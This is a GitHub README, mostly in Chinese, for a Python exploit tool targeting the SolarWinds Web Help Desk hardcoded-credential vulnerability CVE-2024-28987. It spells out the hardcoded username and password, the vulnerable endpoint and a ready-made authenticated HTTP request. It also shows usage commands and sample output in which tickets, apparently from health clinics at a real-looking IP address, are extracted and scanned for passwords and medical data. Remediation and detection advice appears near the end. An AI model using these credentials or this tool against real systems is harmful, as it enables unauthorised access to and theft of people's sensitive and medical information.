Darabium/CVE-2024-28987
GitHub: Darabium/CVE-2024-28987
针对 SolarWinds Web Help Desk 硬编码凭据漏洞(CVE-2024-28987)的 Python 漏洞利用工具,支持自动检测、工单数据提取和敏感信息扫描。
Stars: 0 | Forks: 0
# CVE-2024-28987 - SolarWinds Web Help Desk 硬编码凭据漏洞利用
[](https://www.python.org/downloads/)
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2024-28987)
[](https://nvd.nist.gov/vuln/detail/CVE-2024-28987)
## 📋 概述
**CVE-2024-28987** 是 SolarWinds Web Help Desk (WHD) 中的一个严重漏洞,允许远程攻击者使用**硬编码凭据**访问敏感的工单信息。该漏洞的 **CVSS 评分为 9.1(严重)**,且目前已在野外被积极利用。
### 漏洞详情
| 属性 | 值 |
|-----------|-------|
| **CVE ID** | CVE-2024-28987 |
| **CVSS Score** | 9.1(严重) |
| **CWE** | CWE-798 (硬编码凭据) |
| **受影响的产品** | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 |
| **已修复版本** | 12.8.3 Hotfix 2 |
| **漏洞利用** | 已在野外被积极利用 |
| **加入 CISA KEV 时间** | 2024年10月15日 |
### 影响
未经身份验证的攻击者可以:
- 访问所有包含敏感信息的支持工单
- 查看临时密码、重置请求和共享服务凭据
- 通过 `/OrionTickets` endpoint 对工单执行 CRUD 操作
- 潜在地渗透到网络中的其他系统
## 🔧 功能
- ✅ **自动漏洞检测** - 测试是否存在硬编码凭据
- ✅ **工单提取** - 从易受攻击的系统中检索所有工单
- ✅ **敏感数据扫描** - 识别密码、凭据、PII(个人身份信息)和医疗数据
- ✅ **多种输出格式** - 针对大型数据集提供 JSON 和 JSONL 格式
- ✅ **交互式预览** - 在提取前展示前 3 个工单
- ✅ **零依赖** - 仅使用 Python 标准库
- ✅ **彩色输出** - 使用 ANSI 颜色增强可读性
- ✅ **错误处理** - 优雅地处理连接错误
## 🚀 快速开始
### 前置条件
- Python 3.6 或更高版本
- 不需要任何外部依赖!
### 安装说明
```
# 克隆 repository
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987
# 使 script 可执行
Usage
bash
# 以目标 URL 作为 argument
python3 cve-2024-28987.py http://target-ip:port
# 交互模式(将提示输入目标)
python3 cve-2024-28987.py
# 使用 vulnerable target 的示例
python3 cve-2024-28987.py http://192.168.1.100:8098
📊 Output Example
bash
$ python3 cve-2024-28987.py http://138.94.193.65:8098
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║
║ ║
║ CVE-2024-28987 - SolarWinds Web Help Desk ║
║ Hardcoded Credentials Vulnerability ║
║ ║
╠══════════════════════════════════════════════════════════════════╣
║ GitHub: https://github.com/Darabium ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] Target is VULNERABLE!
[+] Found 42 tickets
======================================================================
[📋] Ticket Preview (First 3 tickets)
======================================================================
Ticket #1
├── ID: 5690
├── Client: UBS Portao Vermelho
├── Status: Open
├── Detail: BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO
Ticket #2
├── ID: 5691
├── Client: UBS Centro
├── Status: In Progress
├── Detail: ALCOOL 70% - Solicitação de material de limpeza
======================================================================
[🔐] Scanning for Sensitive Data
======================================================================
[!] Potential PASSWORD data found in ticket #5723
└── detail: Please reset my password for system access...
[?] Do you want to extract ALL tickets to file? [y/N]: y
[*] Saving to: 138_94_193_65_8098_tickets.json
[✓] Successfully saved 138_94_193_65_8098_tickets.json
[*] File size: 42,847 bytes
[*] Total tickets: 42
[*] Done!
```
GitHub: https://github.com/Darabium
📁 文件结构
CVE-2024-28987/
├── cve-2024-28987.py # 主漏洞利用脚本
├── README.md # 本文件
└── LICENSE # MIT License
输出文件
当您提取工单时,将创建以下文件:
# 标准 JSON 格式(始终创建)
138_94_193_65_8098_tickets.json
# JSONL 格式(如果工单数 > 100 则创建)
***_tickets.jsonl
🔍 技术细节
硬编码凭据
python
USERNAME = "helpdeskIntegrationUser"
PASSWORD = "dev-C4F8025E7"
受影响的 Endpoint
text
/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
HTTP 请求示例
http
GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1
Host: vulnerable-target:8098
Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw==
Content-Type: application/x-www-form-urlencoded
🛡️ 修复建议
立即采取的措施
立即更新至 SolarWinds Web Help Desk 12.8.3 Hotfix 2 或更高版本
检查日志中对 `/OrionTickets` endpoint 的可疑访问
监控对工单数据的未经授权访问
重置可能在工单中暴露的所有凭据
审查所有支持工单以排查潜在的数据泄露
检测命令
bash
# 检查日志中的漏洞利用尝试
grep -i "OrionTickets" /var/log/webhelpdesk/access.log
# 检查未经授权的访问模式
grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log
# 检查当前版本
cat /opt/WebHelpDesk/version.txt
🚨 CISA KEV 公告
此漏洞已被加入 CISA 的已知被利用漏洞(KEV)目录。各组织必须在规定期限内完成补丁修复。
加入日期:2024年10月15日
要求采取的行动:按照供应商说明应用更新
截止日期:2024年11月5日(21天)
📚 参考
NVD CVE-2024-28987
CISA KEV 目录
SolarWinds 安全公告
PEP 668 - 外部环境管理
📝 许可证
该项目基于 MIT License 授权 - 详情请参阅 LICENSE 文件。
⚡ 作者
Darabium - 初始工作 - GitHub
⚠️ 重要提示
此工具仅供安全研究和教育目的使用
请勿在您不拥有或未获得明确测试许可的系统上使用
作者不对任何滥用此工具的行为负责
始终遵循负责任的漏洞披露实践
请遵守您所在司法管辖区的隐私和数据保护法律
🌟 Star 历史
如果您觉得此工具 useful,请在 GitHub 上给它点个 ⭐!
📞 支持
在 GitHub 上提交 issue 以报告 bug
如有安全问题,请直接通过 GitHub 联系
怀着 ❤️ 为安全社区打造
标签:Python, SolarWinds, StruQ, 信息泄露, 数据泄露, 无后门, 逆向工具